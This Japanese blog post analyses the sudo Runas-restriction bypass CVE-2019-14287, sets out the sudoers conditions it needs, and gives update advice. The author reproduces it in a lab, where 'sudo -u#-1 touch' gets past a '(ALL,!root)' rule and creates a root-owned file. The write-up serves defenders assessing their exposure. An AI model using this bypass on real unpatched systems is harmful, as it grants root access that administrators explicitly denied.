Help us understand the problem. What is going on with this article?

CVE-2019-14287 [sudo] Potential bypass of Runas user restrictions の確認

More than 1 year has passed since last update.

sudoで潜在的なRunasユーザの制限バイパスについての脆弱性が出たので、確認した。

summary (TL;DR)

  • 影響を受けるユーザアカウントは限定的
    • 既にsudoers登録がある
    • "どのユーザとして実行できるか"でALLキーワードがある
  • アップデートは実施したほうが良い
    • リスク次第で、緊急 から 次のメンテタイミング、までの間で実施したい。
    • 大半のシステムでは 緊急には該当しない と推定される

脆弱性概要

ALLキーワードで任意のユーザとして実行可能な場合、rootとして実行が可能

  • 例えば user00 (ALL) ALL の場合は、もとから ALLだけなので、rootで実行可能
  • ALLを制限している場合、例えばuser00 (ALL,!root)の場合は、!root部分をバイパス可能

ということは、以下の条件が必要

  • アカウントが存在し
  • sudoersに記載があり
  • 任意のユーザとして実行可能な設定("(ALL)"等)があり
  • rootを除外している((ALL,!root)等)

再現

前提

  • 新規ユーザ suduvlun ユーザを作り、touchコマンドに「root以外の権限で実行」できるsudo権限を付与する。
  • 本来は $sudo touch hogehuga.txt は実行できないが、本脆弱性を利用することで実行ができてしまう。

実行

root@desktop:~# passwd user00
新しい UNIX パスワードを入力してください: 
新しい UNIX パスワードを再入力してください: 
passwd: パスワードは正しく更新されました
root@desktop:~# visudo
# add touch privilege
user00  ALL=(ALL,!root) /usr/bin/touch
root@desktop:~# su - user00
user00@desktop:~$ pwd
/home/user00
user00@desktop:~$ touch hoge.txt
user00@desktop:~$ ls -lh hoge.txt 
-rw-rw-r-- 1 user00 user00 0 10月 15 05:07 hoge.txt
user00@desktop:~$ sudo touch hogehoge.txt
[sudo] user00 のパスワード: 
残念ですが、ユーザー user00 は'/usr/bin/touch hogehoge.txt' を root として desktop 上で実行することは許可されていません。
user00@desktop:~$ sudo -u#-1 touch hogehuga.txt
[sudo] user00 のパスワード: 
user00@desktop:~$ ls -lh
合計 12K
-rw-r--r-- 1 user00 user00 8.8K  4月 16  2018 examples.desktop
-rw-rw-r-- 1 user00 user00    0 10月 15 05:07 hoge.txt
-rw-r--r-- 1 root   user00    0 10月 15 05:08 hogehuga.txt
user00@desktop:~$

補足

sudoersの設定についてざっくりと以下の様になっている

HOST ACCOUNT = (USER:GROUP) COMMAND

  • HOST
    • 許可ホスト
  • ACCOUNT
    • sudo を許可するユーザ
    • 今回はuser00
  • USER
    • sudoで成り代われるユーザ
    • 今回はALLだが、rootは除外(!root)。root以外のユーザ権限で実行可能
  • GROUP
    • sudoで成り代われるユーザ
    • 今回は設定なし
  • COMMAND
    • sudoで実行可能なコマンド
    • 今回は/usr/bin/touch

一次情報

https://www.sudo.ws/alerts/minus_1_uid.html

  • Exploiting the bug requires that the user have sudo privileges that allow them to run commands with an arbitrary user ID.
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away